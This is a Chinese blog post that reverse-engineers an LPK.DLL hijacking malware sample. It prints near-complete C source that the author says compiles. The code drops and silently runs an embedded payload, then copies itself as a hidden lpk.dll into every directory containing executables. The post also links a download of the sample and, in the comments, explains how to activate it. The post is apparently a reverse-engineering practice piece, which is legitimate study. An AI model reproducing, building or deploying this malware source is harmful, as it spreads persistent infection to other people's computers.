«

»

21

[DLLHijack恶意程序] LPK.DLL完整逆向

最近闲得无聊,时间都是碎片化的,毫无心情Coding

逛了逛卡饭,到病毒样本区里随便找了个小玩意Lpk.dll!看名字就知道这货是DLLHijack,体积不大没壳,正适合我这种菜鸟-_-于是下载下来仍IDA里练手

虽然没几个sub,不过还是用了我很长时间才把完整代码逆出来,因为目的是练习所以没用F5,逆完后感觉还是学到了点东西,希望下一次能有进步!!最后除了除错可以编译通过并生成mylpk.dll,不过导出表貌似没处理好,函数转发体力活懒得详细搞了生成后还得再自己添加俩资源

这个玩意貌似没啥实际作用。。释放自身到temp目录。。然后再复制自身到所有含.EXE的目录确保持久感染。。弄了个Event做线程同步,还有几个变量来回用感觉像是全局共享的于是我就pragmadata_seg(shareddata)了一下= =

.IDB+PROJECT+.DLL下载地址:http://naylon.0ginr.com/download/lpk.dll

完整逆向代码(356 Lines):

#include <stdio.h>
#include <windows.h>
#include "Shlwapi.h"

#pragma data_seg("shareddata")    
HMODULE gshModule;
HANDLE gshThread;
HANDLE gshEvent;
#pragma data_seg()

CHAR szResourceFlag[32];
HMODULE ghInstDLL;
CHAR gszSourceFile[MAX_PATH];

DWORD dwLpkTabbedTextOut;
DWORD dwLpkDllInitialize;
DWORD dwLpkDrawTextEx;
CHAR dbLpkEditControl[0x40];
DWORD dwLpkExtTextOut;
DWORD dwLpkGetCharacterPlacement;
DWORD dwLpkGetTextExtentExPoint;
DWORD dwLpkInitialize;
DWORD dwLpkPSMTextOut;
DWORD dwLpkUseGDIWidthCache;
DWORD dwftsWordBreak;

ULONG __stdcall get_my_fake_function_address(LPCSTR lpProcName)
{
    ULONG ulAddress = (ULONG)GetProcAddress(ghInstDLL, lpProcName);
    if (!ulAddress) {
        ExitProcess(-10);
    }
    return ulAddress;
}

VOID process_orginal_lpk_functions()
{
    dwLpkTabbedTextOut = get_my_fake_function_address("LpkTabbedTextOut");
    dwLpkDllInitialize = get_my_fake_function_address("LpkDllInitialize");
    dwLpkDrawTextEx = get_my_fake_function_address("LpkDrawTextEx");
    RtlMoveMemory(dbLpkEditControl, (PVOID)get_my_fake_function_address("LpkEditControl"), 0x40);
    dwLpkExtTextOut = get_my_fake_function_address("LpkExtTextOut");
    dwLpkGetCharacterPlacement = get_my_fake_function_address("LpkGetCharacterPlacement");
    dwLpkGetTextExtentExPoint = get_my_fake_function_address("LpkGetTextExtentExPoint");
    dwLpkInitialize = get_my_fake_function_address("LpkInitialize");
    dwLpkPSMTextOut = get_my_fake_function_address("LpkPSMTextOut");
    dwLpkUseGDIWidthCache = get_my_fake_function_address("LpkUseGDIWidthCache");
    dwftsWordBreak = get_my_fake_function_address("ftsWordBreak");
    return;
}

BOOL load_system_lpk()
{
    CHAR szLibFileName[MAX_PATH];
    GetSystemDirectory(szLibFileName, MAX_PATH * sizeof(UCHAR));
    lstrcat(szLibFileName, "\\lpk");
    gshModule = LoadLibrary(szLibFileName);
    if (gshModule) {
        process_orginal_lpk_functions();
    }
    return (gshModule? TRUE: FALSE);
}

BOOL launch_hrl_tmp()
{
    BOOL Status = FALSE;
    PROCESS_INFORMATION ProcessInfo;
    HRSRC hSrc = FindResource(ghInstDLL, "f", (PCHAR)0x0A);
    if (hSrc) {
        ULONG nSize = SizeofResource(ghInstDLL, hSrc);
        HGLOBAL hResData = LoadResource(ghInstDLL, hSrc);
        if (hResData && nSize) {
            LPVOID lpResource = LockResource(hResData);
            if (lpResource) {
                UCHAR szTempFile[MAX_PATH];
                GetTempPath(MAX_PATH, (PCHAR)szTempFile);
                GetTempFileName((PCHAR)szTempFile, "hrl", 0, (PCHAR)szTempFile);
                HANDLE hFile = CreateFile((PCHAR)szTempFile, 0x40000000, 1, 0, 2, 0, 0);
                if (hFile != INVALID_HANDLE_VALUE) {
                    ULONG lBytesWrote = 0;
                    Status = WriteFile(hFile, lpResource, nSize, &lBytesWrote, 0);
                    CloseHandle(hFile);
                }
                if (Status == TRUE) {
                    STARTUPINFO StartupInfo;
                    RtlZeroMemory(&StartupInfo, sizeof(StartupInfo));
                    StartupInfo.cb = sizeof(StartupInfo);
                    StartupInfo.dwFlags = 1;
                    StartupInfo.wShowWindow = 0;
                    Status = CreateProcess(0, (PCHAR)szTempFile, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInfo);
                    if (Status) {
                        CloseHandle(ProcessInfo.hThread);
                        CloseHandle(ProcessInfo.hProcess);
                    }
                }
            }
        }
    }
    return Status;
}

BOOL create_mutex()
{
    HANDLE hMutex = CreateMutexA(0, 0, szResourceFlag);
    if (hMutex) {
        CloseHandle(hMutex);
    }
    return (GetLastError() == 183? TRUE: FALSE);
}

BOOL is_my_name_lpk_dll()
{
    UCHAR szModuleName[MAX_PATH];
    GetModuleFileName(ghInstDLL, (PCHAR)szModuleName, MAX_PATH *sizeof(UCHAR));
    PCHAR lpszFileName = PathFindFileName((PCHAR)szModuleName);
    return (lstrcmpi((PCHAR)lpszFileName, "lpk.dll") == 0? TRUE: FALSE);
}

BOOL is_my_image_name_hrl_tmp()
{
    UCHAR szPath[MAX_PATH];
    GetModuleFileName(0, (PCHAR)szPath, MAX_PATH * sizeof(UCHAR));
    PCHAR lpszName = PathFindFileName((PCHAR)szPath);
    if (szPath[0] == 'h' && szPath[1] == 'r' && szPath[2] == 'l') {
        PCHAR lpszExt = PathFindExtension((PCHAR)szPath);
        if (lpszExt) {
            if (lstrcmpi((PCHAR)lpszExt, ".TMP")) {
                return TRUE;
            }
        }
    }
    return FALSE;
}

BOOL check_flag_in_resource()
{
    BOOL Status = FALSE;
    HRSRC hSrc = FindResource(ghInstDLL, "e", (PCHAR)0x0A);
    if (hSrc) {
        ULONG nSize = SizeofResource(ghInstDLL, hSrc);
        HGLOBAL hResData = LoadResource(ghInstDLL, hSrc);
        if (hResData && nSize) {
            PCHAR lpResource = (PCHAR)LockResource(hResData);
            if (lpResource) {
                lstrcpyn((PCHAR)szResourceFlag, lpResource, 32);
                Status = TRUE;
            }
        }
    }
    return Status;
}

BOOL find_logical_drivers()
{
    DWORD dwLogicalDrivers = GetLogicalDrives();
    DWORD dwTickCounts = GetTickCount();
    DWORD dwTickPresent;
    while (WaitForSingleObject(gshEvent, 5000) != WAIT_TIMEOUT) {
        dwTickPresent = GetTickCount();
        if (dwTickPresent < dwTickCounts || (dwTickPresent – dwTickCounts > 7200000)) {
            return TRUE;
        }
        if (GetLogicalDrives() != dwLogicalDrivers) {
            return TRUE;
        }
    }
    return FALSE;
}

DWORD __stdcall thread_process_disk(DWORD nDisk)
{
    DWORD Status = TRUE;
    if (WaitForSingleObject(gshEvent, 0) == WAIT_TIMEOUT) {
        CHAR szPath[MAX_PATH];
        // 如果是创建线程时传来的参数,那么就是DiskID
        if (nDisk < 256) {
            // 由ID转换为盘符,得到搜索根目录
            lstrcpy(szPath, "A:\\");
            szPath[0] += (CHAR)nDisk;
        } else {   // 如果是递归时传来的参数,那么就是ASCII字符
            lstrcpy(szPath, (PCHAR)nDisk);
        }
        CHAR szChildPath[MAX_PATH];
        lstrcpy(szChildPath, szPath);
        
        // 遍历目录
        PCHAR lpFileExt;
        WIN32_FIND_DATA tFileInfo;
        PathAppend((PCHAR)szPath, "*");
        HANDLE hFindFile = FindFirstFile(szPath, &tFileInfo);   // 原程序是直接拿nDisk参数当hFindFile用了,这里我单独声明了个HANDLE更直观
        if (hFindFile == INVALID_HANDLE_VALUE) {
            return TRUE;   // 目录里没东西,返回TRUE
        }
        lstrcpy(szPath, szChildPath);
        do {
            // .和..代表当前目录和上级目录,对这俩不作处理
            if (lstrcmpi((PCHAR)tFileInfo.cFileName, ".") == 0 || lstrcmpi((PCHAR)tFileInfo.cFileName, "..") == 0) {
                continue;
            }
            // 找到目录的话就递归遍历
            if (tFileInfo.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
                if (WaitForSingleObject(gshEvent, 20) != WAIT_TIMEOUT) {
                    Status = FALSE;
                    break;
                }
                lstrcpy(szChildPath, szPath);
                PathAppend(szChildPath, tFileInfo.cFileName);
                if (!thread_process_disk((DWORD)szChildPath)) {
                    Status = FALSE;
                    break;
                }
            } else {
                // 判断该目录下有无.EXE可执行文件
                lpFileExt = PathFindExtension(tFileInfo.cFileName);
                if (lpFileExt == 0) {
                    if (WaitForSingleObject(gshEvent, 20) != WAIT_TIMEOUT) {
                        Status = FALSE;
                        break;
                    }
                    continue;
                }
                if (lstrcmpi(lpFileExt, ".EXE") == 0) {   // 有的话复制自身(lpk.dll)到该目录实现DLL Hijack
                    lstrcpy(szChildPath, szPath);
                    PathAppend(szChildPath, "lpk.dll");
                    if (GetFileAttributes(szChildPath) == -1) {
                        continue;
                    }
                    CopyFile((PCHAR)gszSourceFile, (PCHAR)szChildPath, TRUE);
                    SetFileAttributes(szChildPath, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
                }
                lstrcmpi(lpFileExt, ".RAR");
                if (WaitForSingleObject(gshEvent, 20) != WAIT_TIMEOUT) {
                    Status = FALSE;
                    break;
                }
                // 这里又是比较神奇..cmp一下就没后文了?!
            }
        } while (FindNextFile(hFindFile, &tFileInfo));
        FindClose(hFindFile);
        return Status;
    }
    return FALSE;
}

DWORD __stdcall thread_traverse_disk(void)
{
    // 遍历所有分区,如果分区类型为3则创建线程单独处理之
    HANDLE aryHandles[84];
    LONG buffer[24];
    ZeroMemory(buffer, 24 * sizeof(LONG));
    LONG nType;
    ULONG nDisk;
    ULONG nThreads = 0;
    ULONG i, j;
    do {
        nDisk = 2;
        for (i = 0; i – 2 < 24; i++) {    // 最多能处理26个分区?这里貌似有小BUG
            if (buffer[i] != 1) {
                nType = GetDriveType((PCHAR)nDisk);
                // 判断分区类型是否为DRIVE_REMOVABLE
                if (nType >=2 && nType <= 4) {   // if (nType == 3) { ,不知为啥会编译成这样-_-!!
                    aryHandles[nThreads] = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)thread_process_disk, (LPVOID)nDisk, CREATE_SUSPENDED, 0);
                    if (aryHandles[nThreads] != 0) {
                        if (SetThreadPriority(aryHandles[nThreads], 0xFFFFFFF1)) {
                            if (ResumeThread(aryHandles[nThreads]) != -1) {
                                buffer[i] = 1;
                                nThreads++;
                            } else {
                                TerminateThread(aryHandles[nThreads], 0);
                            }
                        } else {
                            TerminateThread(aryHandles[nThreads], 0);
                        }
                    }
                }
            }
            nDisk++;
        }
        
        if (nThreads != 0) {
            if (WaitForMultipleObjects(nThreads, aryHandles, TRUE, 0) != 0x102) {
                ZeroMemory(buffer, 24 * sizeof(LONG));
                if (nThreads > 0) {
                    for (j = 0; j < nThreads; j++) {
                        CloseHandle(aryHandles[j]);
                    }
                }
                nThreads = 0;
            }
        }
    } while (find_logical_drivers());
    
    if (nThreads != 0) {   // 这里怎么可能成立-_-||为啥还写这么一段。。奇怪。。
        WaitForMultipleObjects(nThreads, aryHandles, TRUE, INFINITE);
        if (nThreads > 0) {
            for (j = 0; j < nThreads; j++) {
                CloseHandle(aryHandles[j]);
            }
        }
    }
    
    return nThreads;   /// 返回值无所谓,只不过eax == nThreads所以就这么写了..  XD
}

VOID create_thread()
{
    gshThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)thread_traverse_disk, 0, CREATE_SUSPENDED, 0);
    if (SetThreadPriority(gshThread, 0xFFFFFFF1)) {
        if (ResumeThread(gshThread) != -1) {
            return;
        }
    }
    TerminateThread(gshThread, 0);
    gshThread = 0;
    return;
}

BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    switch (fdwReason) {
        case DLL_PROCESS_ATTACH: {
            ghInstDLL = hinstDLL;
            GetModuleFileName(hinstDLL, gszSourceFile, MAX_PATH * sizeof(UCHAR));
            DisableThreadLibraryCalls(hinstDLL);
            if (check_flag_in_resource()) {
                if (!is_my_image_name_hrl_tmp()) {
                    if (!create_mutex()) {
                        launch_hrl_tmp();
                    }
                }
                if (is_my_name_lpk_dll()) {
                    gshEvent = CreateEvent(0, 1, 0, 0);
                    if (gshEvent) {
                        create_thread();
                    }
                }
            }
            return load_system_lpk();
        }
        case DLL_PROCESS_DETACH: {
            if (gshEvent) {
                SetEvent(gshEvent);
                WaitForSingleObject(gshThread, INFINITE);
                CloseHandle(gshThread);
                CloseHandle(gshEvent);
            }
            if (gshModule) {
                FreeLibrary(gshModule);
            }
        }
    }
    return 1;
}

 

2 comments

  1. gzkiko

    楼主你好,我最近在写关于病毒的论文,想用这个病毒来做样本分析,我需要在网络上抓包截图贴在我的论文里面,已经从别的地方拿了LPK.DLL文件回来了,放在目录下但不知道怎么激活,请问可以告诉方法激活病毒吗?

    [回复]

    Naylon 回复:

    可以自己写一个程序调用LoadLibrary来加载这个DLL,或者找一个引用了LPK.DLL的导出函数的程序放到LPK.DLL所在目录里直接运行

    [回复]

发表评论

电子邮件地址不会被公开。 必填项已用*标注

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>